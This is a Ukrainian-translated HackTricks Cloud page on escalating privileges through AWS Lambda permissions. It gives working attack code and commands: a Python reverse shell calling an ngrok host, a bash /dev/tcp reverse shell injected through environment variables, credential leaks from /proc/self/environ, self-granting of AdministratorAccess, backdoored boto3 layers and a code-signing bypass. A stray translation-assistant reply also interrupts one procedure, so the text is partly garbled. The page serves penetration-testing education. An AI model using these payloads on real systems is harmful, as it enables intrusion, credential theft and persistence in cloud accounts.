AWS - Lambda Privesc
Reading time: 13 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
lambda
Детальніше про lambda в:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Користувачі з дозволами iam:PassRole, lambda:CreateFunction та lambda:InvokeFunction можуть підвищити свої привілеї.
Вони можуть create a new Lambda function and assign it an existing IAM role, надаючи функції дозволи, пов'язані з цією роллю. Користувач може потім write and upload code to this Lambda function (with a rev shell for example).
Після налаштування функції користувач може ініціювати її виконання та виконати потрібні дії, викликавши Lambda function через AWS API. Такий підхід фактично дозволяє користувачеві виконувати завдання опосередковано через Lambda function, діючи з рівнем доступу, який надає пов'язана з нею IAM role.\
A attacker could abuse this to get a rev shell and steal the token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Ви також можете зловживати дозволами ролі lambda з самої lambda-функції.
Якщо роль lambda має достатні дозволи, ви можете використати її, щоб надати собі права адміністратора:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Також можливо leak the lambda's role credentials без потреби у зовнішньому з'єднанні. Це буде корисно для Network isolated Lambdas, які використовуються для внутрішніх завдань. Якщо невідомі security groups фільтрують ваші reverse shells, ця частина коду дозволить вам безпосередньо leak the credentials як вивід lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Потенційний вплив: Прямий privesc до зазначеної довільної ролі сервісу lambda.
caution
Зверніть увагу, що навіть якщо це може виглядати цікаво, lambda:InvokeAsync не дозволяє саме по собі виконати aws lambda invoke-async, вам також потрібен lambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Як і в попередньому сценарії, ви можете наділити себе дозволом lambda:InvokeFunction, якщо у вас є дозвіл lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Potential Impact: Прямий privesc до довільної вказаної ролі сервісу lambda.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Користувачі з дозволами iam:PassRole, lambda:CreateFunction, і lambda:CreateEventSourceMapping (а також, можливо, dynamodb:PutItem та dynamodb:CreateTable) можуть опосередковано escalate privileges, навіть без lambda:InvokeFunction.\
Вони можуть створити Lambda function зі шкідливим кодом і призначити їй існуючу IAM role.
Замість прямого виклику Lambda користувач налаштовує або використовує існуючу DynamoDB table, пов'язуючи її з Lambda через event source mapping. Це налаштування гарантує, що Lambda function автоматично спрацьовує при додаванні нового елемента в таблиці, чи то внаслідок дії користувача, чи іншого процесу, таким чином опосередковано викликаючи Lambda function і виконуючи код з правами переданої IAM role.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Якщо DynamoDB вже активовано в середовищі AWS, користувачу потрібно лише налаштувати event source mapping для функції Lambda. Однак якщо DynamoDB не використовується, користувачу потрібно створити нову таблицю з увімкненим streaming:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Тепер можна підключити Lambda function до DynamoDB table, створивши event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Коли функція Lambda пов'язана з DynamoDB stream, зловмисник може непрямо запустити Lambda, активувавши DynamoDB stream. Це можна зробити шляхом вставлення запису до таблиці DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Потенційний вплив: Пряме privesc до вказаної ролі сервісу lambda.
lambda:AddPermission
Зловмисник з цим дозволом може надавати собі (або іншим) будь-які дозволи (це створює політики на основі ресурсів для надання доступу до ресурсу):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potential Impact: Прямий privesc до службової ролі lambda шляхом надання дозволу змінювати код і запускати його.
lambda:AddLayerVersionPermission
Зловмисник з цим дозволом може надавати собі (або іншим) дозвіл lambda:GetLayerVersion. Він може отримати доступ до layer і шукати вразливості або чутливу інформацію.
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potential Impact: Потенційний доступ до конфіденційної інформації.
lambda:UpdateFunctionCode
Користувачі, які мають дозвіл lambda:UpdateFunctionCode, можуть змінити код існуючої Lambda-функції, яка пов’язана з роллю IAM.
Атакуючий може змінити код Lambda, щоб експфільтрувати облікові дані IAM.
Хоча атакуючий може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує та працює, ймовірно, вона буде викликатися через існуючі робочі процеси або події, що опосередковано дозволяє виконати змінений код.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Потенційний вплив: Прямий privesc до ролі сервісу lambda, що використовується.
lambda:UpdateFunctionConfiguration
RCE via env variables
З цими дозволами можна додати environment variables, які спричинять виконання довільного коду Lambda. Наприклад, в python можна зловживати environment variables PYTHONWARNING і BROWSER, щоб змусити процес python виконати довільні команди:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Для інших scripting languages існують інші env variables, які ви можете використовувати. Для додаткової інформації перегляньте підрозділи scripting languages у:
macOS Process Abuse - HackTricks
RCE через Lambda Layers
Lambda Layers дозволяє включати code у ваш lamdba function, але зберігати його окремо, тому код функції може залишатися невеликим і кілька функцій можуть спільно використовувати code.
Всередині lambda ви можете перевірити шляхи, звідки завантажується python code за допомогою функції на кшталт наступної:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
These are the places:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).
Exploitation
It's possible to abuse the permission lambda:UpdateFunctionConfiguration to add a new layer to a lambda function. To execute arbitrary code this layer need to contain some library that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is already using a layer and you could download the layer and add your code in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
pip3 install -t ./lambda_layer boto3
Ви можете відкрити ./lambda_layer/boto3/__init__.py і додати backdoor у глобальний код (наприклад, функцію для exfiltrate credentials або для отримання reverse shell).
Потім запакуйте директорію ./lambda_layer у zip і завантажте новий lambda layer у свій обліковий запис (або в обліковий запис жертви, але у вас може не бути дозволів для цього).
Зверніть увагу, що потрібно створити папку python і помістити туди бібліотеки, щоб перезаписати /opt/python/boto3. Також layer має бути сумісним з версією python, яку використовує lambda, і якщо ви завантажуєте його у свій акаунт, він має бути в тому ж регіоні:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Тепер зробіть завантажений lambda layer доступним для будь-якого облікового запису:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
І прикріпіть lambda layer до цільової lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Наступним кроком буде або викликати функцію особисто, якщо ми можемо, або почекати, поки вона буде викликана звичайними засобами — що є безпечнішим методом.
Існує більш прихований спосіб експлуатації цієї вразливості, який можна знайти в:
AWS - Lambda Layers Persistence
Потенційний вплив: Прямий privesc до ролі сервісу lambda, що використовується.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Можливо, з цими дозволами ви зможете створити функцію і виконати її, викликавши URL... але я не знайшов способу це протестувати, тож дайте знати, якщо ви зможете!
Lambda MitM
Деякі lambdas будуть отримувати конфіденційну інформацію від користувачів у параметрах. Якщо отримати RCE в одному з них, ви можете exfiltrate інформацію, яку інші користувачі надсилають туди; див.:
Посилання
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Обхід підписування коду Lambda
Якщо функція Lambda застосовує перевірку підпису коду, атакувальник, який може або видалити Code Signing Config (CSC), або понизити його до WARN, може розгорнути неподписаний код у функцію. Це обходить засоби захисту цілісності без зміни ролі IAM функції або тригерів.
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Примітки:
- Для Path B вам не потрібен профіль AWS Signer, якщо політика CSC встановлена на
WARN(дозволені unsigned artifacts).
Кроки (REGION=us-east-1, TARGET_FN=
Підготуйте невеликий payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Шлях A) Видаліть CSC, потім оновіть код:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Шлях B) Знизити до Warn і оновити код (якщо видалення не дозволено):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Підтверджую — виконуватиму правила перекладу: не перекладати код, назви технік, загальні хакерські терміни, назви cloud/SaaS (наприклад aws, gcp, Workspace), слово "leak", pentesting, посилання, шляхи, markdown/html теги й спеціальні {#...} теги. Надішліть вміст README.md або текст для перекладу.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Потенційний вплив: Можливість завантажити та виконати довільний непідписаний код у функції, яка мала забезпечувати підписані розгортання, що може призвести до виконання коду з дозволами ролі функції.
Очищення:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud